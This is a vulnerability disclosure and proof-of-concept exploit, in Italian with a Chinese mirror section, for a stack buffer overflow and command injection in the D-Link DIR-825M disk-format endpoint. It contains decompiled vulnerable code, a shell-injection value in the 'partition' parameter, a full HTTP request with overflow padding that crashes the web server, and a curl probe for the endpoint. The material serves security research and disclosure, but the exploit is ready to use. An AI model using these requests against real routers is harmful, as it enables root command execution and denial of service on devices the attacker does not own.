
Proof-of-concept exploit per il buffer overflow dello stack e l'iniezione di comandi in D-Link DIR-825M in /boafrm/formDiskFormat, che consente l'esecuzione remota di codice come root sul firmware v1.1.8.
| Campo | Valore |
|---|
| Vendor | D-Link |
| Prodotto | D-Link DIR-825M (e altri modelli che condividono lo stesso codebase firmware) |
| Versione Affetta | Firmware v1.1.8 |
| Tipo di Vulnerabilità | Stack-based Buffer Overflow (CWE-121)、Command Injection (CWE-78) |
| Homepage del Vendor | https://www.dlink.com/ |
Durante una revisione di sicurezza del firmware del router, è stata identificata una vulnerabilità critica nell'endpoint /boafrm/formDiskFormat.
La vulnerabilità si trova nella funzione sub_46725C, che gestisce la formattazione delle partizioni. La funzione recupera il parametro partition controllato dall'utente dalla richiesta HTTP POST. Senza alcuna sanificazione preventiva, verifica o controllo di lunghezza su questo parametro, il programma esegue diverse operazioni non sicure:
sprintf per formattare il parametro in un piccolo buffer locale sullo stack v9 (allocato con soli 132 byte).system() per eseguire utility di sistema.Un attaccante può sfruttare questo inserendo metacaratteri di shell (come ;, & o |) nel parametro partition per eseguire comandi di sistema arbitrari con privilegi di root, oppure inviando una stringa eccessivamente lunga per causare un overflow del buffer sullo stack e dirottare il flusso di controllo.
/boafrm/formDiskFormat (o endpoint simile per la gestione della formattazione disco)sub_46725CLa vulnerabilità deriva da due difetti di programmazione concomitanti: formattazione di stringhe non sicura e esecuzione diretta di input non validati in una shell di sistema.

All'interno di sub_46725C, il parametro partition viene recuperato e memorizzato in v2:
v2 = (const char *)sub_41351C(a1, "partition", "");
Se il parametro non è vuoto, il programma costruisce immediatamente un comando di smontaggio e lo esegue:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
Poiché v2 viene incorporato direttamente nella stringa di comando senza sanificare caratteri come ;, un input di sda1;+sleep+5; verrà eseguito come:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
Questo attiva direttamente l'esecuzione arbitraria di comandi shell.
Il buffer locale v9 è dichiarato sullo stack con una dimensione limitata:
char v9[132];
Il programma usa sprintf per copiare l'input dell'utente in v9:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
Poiché sprintf non esegue controlli sui limiti, un parametro partition più lungo di circa 90 byte scriverà oltre il confine di v9, sovrascrivendo il frame dello stack, inclusi il frame pointer salvato e l'indirizzo di ritorno ($ra in MIPS/ARM).
Un attaccante può sfruttare questa vulnerabilità per ottenere i seguenti risultati:
root).Fornendo un parametro partition eccessivamente lungo, lo stack verrà corrotto, causando un segmentation fault e il crash del demone del server Web.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm


本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
POST /boafrm/formDiskFormatpartition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
reports/Dlink/formDiskFormat/)。LICENSE)。